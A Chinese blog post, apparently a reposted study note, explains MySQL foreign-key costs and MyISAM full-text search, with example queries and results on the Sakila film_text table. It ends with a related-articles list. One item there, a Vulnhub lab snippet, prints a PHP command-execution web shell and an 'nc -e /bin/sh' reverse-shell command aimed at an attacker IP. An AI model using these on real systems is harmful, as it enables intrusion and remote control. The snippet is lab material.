MySQL之高级特性(一)

高级特性

外键约束

InnoDB是目前MySQL中唯一支持外键的内置存储引擎,所以如果需要外键支持那选择就不多了。使用外键是有成本的。比如外键通常都要求每次在修改数据时都要在另一张表中多执行一次查找操作。虽然InnoDB强制外键使用索引,但还是无法消除这种约束检查的开销。如果外键列的选择性很低,则会导致一个非常大且选择性很低的索引。例如,在一个非常大的表上有status列,并希望限制这个状态列的取值,如果该列只能取三个值——虽然这个列本身很小,但是如果主键很大,那么这个索引就会很大——而且这个索引除了做这个外键限制,也没有任何其他的作用了。不过,在某些场景下,外键会提升一些性能。如果想确保两个相关表始终有一致的数据,那么使用外键比在应用程序中检查一致性的性能要高得多,此外,外键在相关数据得删除和更新上,也比在应用中维护要更高效,不过,外键维护操作是逐行进行得,所以这样得更新会比批量删除和更新要慢些。外键约束使得查询需要额外访问一些别的表,这也意味着需要额外的锁。如果向子表中写入一条记录,外键约束会让InnoDB检查对应的父表的记录,也就需要对父表对应记录进行加锁操作,来确保这条记录不会在这个事务完成之时就被删除了。这会导致额外的锁等待,甚至会导致一些死锁。因为没有直接访问这些表,所以这类死锁问题往往难以排查。有时,可以使用触发器来代替外键。对于相关数据的同时更新外键更合适,但是如果外键只是用作数值约束,那么触发器或者显式地限制取值会更好些。如果只是使用外键做约束,那通常在应用程序里实现该约束会更好。外键会带来很大的额外消耗。碰到过很多案例,在对性能进行剖析时发现外键约束就是瓶颈所在,删除外键后性能立即大幅提升。

全文索引

通过数值比较、范围过滤等就可以完成绝大多数我们需要的查询了。但是,如果你希望通过关键字的匹配来进行查询过滤,那么就需要基于相似度的查询,而不是原来的精确数值比较。全文索引就是为这种场景设计的。全文索引有着自己独特的语法。没有索引也可以工作,如果有索引效率会更高。用于全文搜索的索引有着独特的结构,帮助这类查询找到匹配某些关键字的记录。
你可能没有在意过全文索引,不过至少应该对一种全文索引技术比较熟悉:互联网搜索引擎。虽然这类搜索引擎的索引对象是超大量的数据,并且通过其背后都不是关系型数据库,不过全文索引的基本原理都是一样的。全文索引可以支持各种字符内容的搜索(包括CHAR、VARCHAR和TEXT类型),也支持自然语言搜索和布尔搜索。在MySQL中全文索引有很多的限制,其实现也很复杂,但是因为它是MySQL内置的功能,而且满足很多基本的搜索需求,所以它的应用仍然非常广泛。
在标准的MySQL中,只有MyISAM引擎支持全文索引。事实上,MyISAM对全文索引的支持有很多的限制,例如表级别锁对性能的影响、数据文件的崩溃、崩溃后的恢复等,这使得MyISAM的全文索引对于很多应用场景并不合适。所以,多数情况下建议使用别的解决方案,例如Sphinx、Lucene、Solr、Groonga、Xapian或者Senna。
MyISAM的全文索引作用对象是一个"集合",这可能是某个数据表的义列,也可能是多个列。具体的,对数据表的某一条记录,MySQL会将需要索引的列全部拼接成一个字符串,然后进行索引,MyISAM的全文索引是一类特殊的B-Tree索引,共有两层。第一层是所有关键字,然后对于每一个关键字的第二层,包含的是一组相关的"文档指针"。全文索引不会索引文档对象中的所有词语,它会根据如下规则过滤一些词语:

  • 1.停用词列表中的词都不会被索引。默认的停用词根据通用英语的使用来设置,可以使用参数ft_stopword_file指定一组外部文件来使用自定义的停用词。
  • 2.对于长度小于ft_min_word_len的词语和长度小大于ft_max_word_len的词语,都不会被索引。
    全文索引并不会存储关键字具体匹配在那一列,如果需要根据不同的列来进行组合查询,那么不需要针对每一列来建立多个这类索引。这也意味着不能在MATCH AGAINST子句中指定哪个列的相关行更重要。通常构建一个网站的搜索引擎是需要这样的功能,例如,你可能希望优先搜索出那些在标题中出现过的文档对象。如果需要这样的功能,则需要编写更复杂的查询语句。

自然语言的全文索引

在这里插入图片描述

自然语言搜索引擎将计算每一个文档对象和查询的相关度。这里,相关度是基于匹配的关键词个数,以及关键词在文档中出现的次数。在整个索引中出现次数越少的词语,匹配时的相关度就越高。相反,非常常见的单词将不会搜索,即使不再停用词列表中出现,如果一个词语在超过50%的记录中都出现了,那么自然语言搜索不会搜索这类词语(在测试使用的一个常见错误就是,只是用很小的数据结合进行全文索引,所以总是无法返回结果,原因在于,每隔搜索u干建祠都可能在一半以上的记录里面出现过)。
全文索引的语法和普通查询略有不同。可以根据WHERE子句中的MATCH AGAINST来区分查询是否使用全文索引。我们来看一个示例。在标准的数据库Sakila中,数据表film_text在字段title和description上建立了全文索引:如图所示。下面时一个使用自然语言搜索的查询:

mysql> SELECT film_id, title, RIGHT(description ,25),-> MATCH (title, description) AGAINST('factory casualties') AS relevance-> FROM sakila.film_text-> WHERE MATCH(title, description) AGAINST('factory casualties');
+---------+-----------------------+---------------------------+-------------------+
| film_id | title                 | RIGHT(description ,25)    | relevance         |
+---------+-----------------------+---------------------------+-------------------+
|     831 | SPIRITED CASUALTIES   | a Car in A Baloon Factory | 8.640907287597656 |
|     126 | CASUALTIES ENCINO     | Face a Boy in A Monastery | 6.364917278289795 |
|     193 | CROSSROADS CASUALTIES | a Composer in The Outback | 6.364917278289795 |
|       3 | ADAPTATION HOLES      | rjack in A Baloon Factory | 2.275989532470703 |
|     103 | BUCKET BROTHERHOOD    | rjack in A Baloon Factory | 2.275989532470703 |
|     110 | CABIN FLASH           | Shark in A Baloon Factory | 2.275989532470703 |
|     186 | CRAFT OUTFIELD        | rator in A Baloon Factory | 2.275989532470703 |
|     187 | CRANES RESERVOIR      | ogist in A Baloon Factory | 2.275989532470703 |
|     291 | EVOLUTION ALTER       | lorer in A Baloon Factory | 2.275989532470703 |
|     299 | FACTORY DRAGON        | jack in The Sahara Desert | 2.275989532470703 |
|     345 | GABLES METROPOLIS     |  Chef in A Baloon Factory | 2.275989532470703 |
|     365 | GOLD RIVER            | ntist in A Baloon Factory | 2.275989532470703 |
|     369 | GOODFELLAS SALUTE     | d Cow in A Baloon Factory | 2.275989532470703 |
|     370 | GORGEOUS BINGO        | tress in A Baloon Factory | 2.275989532470703 |

MySQL将搜索词语分成两个独立的关键词进行搜索,搜索在title和description字段组成的全文索引上进行。注意,只有一条记录同时包含全部的两个关键词,查询结果时根据与关键词的相似度来进行排序的。(和普通查询不同,这类查询自动按照相似度进行排序。在使用全文索引进行排序的时候,MySQL无法再使用索引排序。所以如果不想使用文件排序的话,那么就不要在查询中使用ORDER BY 子句)。从上面的例子中可以看到,函数MATCH()将返回关键词匹配的相关度,是一个浮点数字。你可以根据相关度进行匹配,或者将词直接展现给用户。在一个查询中使用两次MATCH()函数并不会有额外的消耗,MySQL会自动识别并只进行一次搜索。不过,如果你将MATCH()函数放在ORDER BY 子句中,MySQL将会使用文件排序。在MATCH()函数中指定的列必须和在全文索引中指定的列完全相同,否则就无法啊使用全文索引。这是因为全文索引不会记录关键字是来自哪一列的。这也意味着无法使用完全索引来查询某个关键字是否在某一列上存在。这里介绍一个绕过该问题的办法:根据关键词在多个不同列的全文索引上的相关度来算出排名值,然后依次来排序。我们可以在某一列上加上如下索引:

mysql>ALTER TABLE film_text ADD FULLTEXT KEY(title);

这样,我们可以将title匹配乘以2来提高它的相似度的权重:

mysql> SELECT film_id, RIGHT ( description, 25 ), ROUND( MATCH ( title, description ) AGAINST ( 'factor casualties' ), 3 ) AS full_rel, ROUND( MATCH ( title ) AGAINST ( 'factory
casualties' ), 3 ) AS title_rel FROM sakila.film_text  WHERE MATCH ( title, description ) AGAINST ( 'factory casualties' )  ORDER BY (2 * MATCH ( title ) AGAINST ( 'factory casualties' )) DESC;
+---------+---------------------------+----------+-----------+
| film_id | RIGHT ( description, 25 ) | full_rel | title_rel |
+---------+---------------------------+----------+-----------+
|     299 | jack in The Sahara Desert |    0.000 |     9.000 |
|     831 | a Car in A Baloon Factory |    6.365 |     6.365 |
|     126 | Face a Boy in A Monastery |    6.365 |     6.365 |
|     193 | a Composer in The Outback |    6.365 |

因为上面的查询需要做文件排序,所以这并不是一个高效的做法

布尔全文索引

在布尔搜索中,用户可以查询中自定义某个被搜索的词语的相关性。布尔搜索通过停用词列表过滤掉那些"噪声"词,除此之外,布尔搜索还要求搜索关键词长度必须大于ft_min_word_len,同时小于ft_max_word_len(事实上,全文索引根本不会对太短或者太长的词语进行索引,但是这里说的不是一回事。一般地,MySQL本身并不会因为搜索关键词过长或过短而忽略这些词语,但是查询优化器的某些部分却可能这样做)。搜索返回的结果是未经排序的。当编写一个布尔搜索查询时,可以通过一些前缀修改时符来定制搜索,表中列出了最常用的修饰符。在这里插入图片描述
如表所示。还可以使用其他的操作,例如使用括号分组。基于此,就可以构造出一些复杂的搜索查询。还是继续使用sakila.film_text来举例,现在我们需要搜索既包含词"factory"又包含"casualties"的记录。在前面我们已经使用自然语言搜索查询实现找到这两个词中的任何一个SQL写法。使用布尔搜索查询,我们可以指定返回结果必须同时包含"factory"和"casualties":

mysql> SELECT film_id, title, RIGHT(description, 25) FROM sakila.film_text WHERE MATCH(title, description) AGAINST ('+factory +casualties' IN BOOLEAN MODE);
+---------+---------------------+---------------------------+
| film_id | title               | RIGHT(description, 25)    |
+---------+---------------------+---------------------------+
|     831 | SPIRITED CASUALTIES | a Car in A Baloon Factory |
+---------+---------------------+---------------------------+
1 row in set (0.00 sec)

查询中还可以使用括号进行"短语搜索",让返回结果精确匹配指定的短语:

mysql> SELECT film_id,title, RIGHT(description, 25) FROM sakila.film_text WHERE MATCH(title, description) AGAINST ('"spirited casualties"' IN BOOLEAN MODE);
+---------+---------------------+---------------------------+
| film_id | title               | RIGHT(description, 25)    |
+---------+---------------------+---------------------------+
|     831 | SPIRITED CASUALTIES | a Car in A Baloon Factory |
+---------+---------------------+---------------------------+
1 row in set (0.00 sec)

短语搜索的速度会比较慢。只使用全文索引是无法判断是否精确匹配短语的,通常还需要查询原文确定记录中是否包含完整的短语。由于需要进行回表过滤,所以速度会笔记哦哎慢。要完成上面的查询,MySQL需要先从索引中找出所有同时包含"spirited"和"casualties"的索引条目,然后取出这些记录再判断是否精确匹配短语,因为这个操作会先从索引中过滤出一些记录,所以通常认为这样做的速度是很快的——比LIKE操作要快很多。事实上,这样做的确很快,但是搜索的关键词不能是太常见的词语。如果搜索的关键词太常见,因为前一步的过滤会返回太多的记录需要判断,因此LIKE操作反而更快。这种情况下LIKE操作是完全的顺序读,相比索引返回值的随机读。会快很多。只有MyISAM引擎才能使用布尔全文索引,但并不是一定要有全文索引才能使用布尔全文搜索。当没有全文搜索的时候,MySQL就通过全表扫描来实现。所以,你甚至还可以在多表上使用布尔全文索引,例如在一个关联结果上进行。只不过,因为是全表扫描速度可能会很慢

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/350731.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【启明智显彩屏应用】Model3A 7寸触摸彩屏的充电桩应用方案

一、充电桩概述 (一)充电桩诞生背景 随着社会的进步和人们生活质量的提升,汽车已逐渐融入每个家庭的日常生活中。然而,汽车数量的激增也带来了严重的环境污染问题,特别是尾气排放。为了应对这一挑战,新能源…

HTML静态网页成品作业(HTML+CSS)—— 零食商城网页(1个页面)

🎉不定期分享源码,关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 🏷️本套采用HTMLCSS,未使用Javacsript代码,共有1个页面。 二、作品演示 三、代…

【计算机网络仿真实验-实验2.6】带交换机的RIP路由协议

实验2.6 带交换机的rip路由协议 1. 实验拓扑图 2. 实验前查看是否能ping通 不能 3. 三层交换机配置 switch# configure terminal switch(config)# hostname s5750 !将交换机更名为S5750 S5750# configure terminal S5750(config)#vlan 10 S5750(config-vlan)#exit S57…

Spring运维之boo项目表现层测试匹配响应执行状态响应体JSON和响应头

匹配响应执行状态 我们创建了测试环境 而且发送了虚拟的请求 我们接下来要进行验证 验证请求和预期值是否匹配 MVC结果匹配器 匹配上了 匹配失败 package com.example.demo;import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Auto…

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…

MySQL学习笔记-进阶篇-SQL优化

SQL优化 插入数据 insert优化 1&#xff09;批量插入 insert into tb_user values(1,Tom),(2,Cat),(3,Jerry); 2&#xff09;手动提交事务 mysql 默认是自动提交事务&#xff0c;这样会导致频繁的开启和提交事务&#xff0c;影响性能 start transaction insert into tb_us…

亚马逊测评自养号与机刷的区别

前言&#xff1a; 在亚马逊运营的领域中&#xff0c;经常有人问&#xff1a;测评自养号就是机刷吗&#xff1f;它们两者有什么区别&#xff1f;做自养号太慢、太需要时间了&#xff0c;如果用机刷的话&#xff0c;会不会简单高效一点&#xff1f; 在这篇文章中&#xff0c;我…

【设计模式深度剖析】【8】【行为型】【备忘录模式】| 以后悔药为例加深理解

&#x1f448;️上一篇:观察者模式 设计模式-专栏&#x1f448;️ 文章目录 备忘录模式定义英文原话直译如何理解呢&#xff1f; 3个角色1. Memento&#xff08;备忘录&#xff09;2. Originator&#xff08;原发器&#xff09;3. Caretaker&#xff08;负责人&#xff09;类…

Unity基础(三)3D场景搭建

目录 简介: 一.下载新手资源 二.创建基本地形 三.添加场景细节 四,添加水 五,其他 六. 总结 简介: 在 Unity 中进行 3D 场景搭建是创建富有立体感和真实感的虚拟环境的关键步骤。 首先&#xff0c;需要导入各种 3D 模型资源&#xff0c;如建筑物、角色、道具等。这些模…

181.二叉树:验证二叉树(力扣)

代码解决 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode() : val(0), left(nullptr), right(nullptr) {}* TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}* Tre…

Linux rm命令由于要删的文件太多报-bash: /usr/bin/rm:参数列表过长,无法删除的解决办法

银河麒麟系统&#xff0c;在使用rm命令删除文件时报了如下错误&#xff0c;删不掉&#xff1a; 查了一下&#xff0c;原因就是要删除的文件太多了&#xff0c;例如我当前要删的文件共有这么多&#xff1a; 查到了解决办法&#xff0c;记录在此。需要使用xargs命令来解决参数列表…

【Vue】Pinia管理用户数据

Pinia管理用户数据 基本思想&#xff1a;Pinia负责用户数据相关的state和action&#xff0c;组件中只负责触发action函数并传递参数 步骤1&#xff1a;创建userStore 1-创建store/userStore.js import { loginAPI } from /apis/user export const useUserStore defineStore(…

ADS基础教程20 - 电磁仿真(EM)参数化

EM介绍 一、引言二、参数化设置1.参数定义2.参数赋值3.创建EM模型和符号 四、总结 一、引言 参数化EM仿真&#xff0c;是在Layout环境下创建参数&#xff0c;相当于在原理图中声明变量。 二、参数化设置 1.参数定义 1&#xff09;在Layout视图&#xff0c;菜单栏中选中EM&g…

鸿蒙 游戏来了 鸿蒙版 五子棋来了 我不允许你不会

团队介绍 作者:徐庆 团队:坚果派 公众号:“大前端之旅” 润开鸿生态技术专家,华为HDE,CSDN博客专家,CSDN超级个体,CSDN特邀嘉宾,InfoQ签约作者,OpenHarmony布道师,电子发烧友专家博客,51CTO博客专家,擅长HarmonyOS/OpenHarmony应用开发、熟悉服务卡片开发。欢迎合…

SpringBoot整合H2数据库并将其打包成jar包、转换成exe文件

SpringBoot整合H2数据库并将其打包成jar包、转换成exe文件 H2 是一个用 Java 开发的嵌入式数据库&#xff0c;它的主要特性使其成为嵌入式应用程序的理想选择。H2 仅是一个类库&#xff0c;可以直接嵌入到应用项目中&#xff0c;而无需独立安装客户端和服务器端。 常用开源数…

随笔-来了,安了

依照领导定的规矩&#xff0c;周五又去了分公司&#xff0c;赋能一线去了。到了地方就是开会->现场解决问题->干饭->开会过需求、提供解决方案&#xff0c;充实得厉害。强度也不小&#xff0c;中午干的一大碗饭&#xff0c;到五点就饿了。 六点带着分公司催着上线的需…

【TypeScript】类型兼容(协变、逆变和双向协变)

跟着小满zs 学习 ts&#xff0c;原文&#xff1a;学习TypeScript进阶类型兼容_typescript进阶阶段类型兼容 小满-CSDN博客 类型兼容&#xff0c;就是用于确定一个类型是否能赋值给其他的类型。如果A要兼容B 那么A至少具有B相同的属性。 // 主类型 interface A {name: string,a…

微信小程序毕业设计-智慧消防系统项目开发实战(附源码+论文)

大家好&#xff01;我是程序猿老A&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f49e;当前专栏&#xff1a;微信小程序毕业设计 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f380; Python毕业设计…

OpenCV 4.10 发布

OpenCV 4.10 JPEG 解码速度提升 77%&#xff0c;实验性支持 Wayland、Win ARM64 根据 “OpenCV 中国团队” 介绍&#xff0c;从 4.10 开始 OpenCV 对 JPEG 图像的读取和解码有了 77% 的速度提升&#xff0c;超过了 scikit-image、imageio、pillow。 4.10 版本的一些亮点&…

高考志愿填报和未来的职业规划

高考成绩出来那一刻&#xff0c;我们就站在了人生的岔路口上&#xff0c;面临这不同的选择&#xff0c;走不同的路线、过不同的生活...... 除了成绩会决定一个人的未来走向之外&#xff0c;报考的专业和学校影响也是终身。高考志愿填报和未来职业规划应该息息相关&#xff0c;…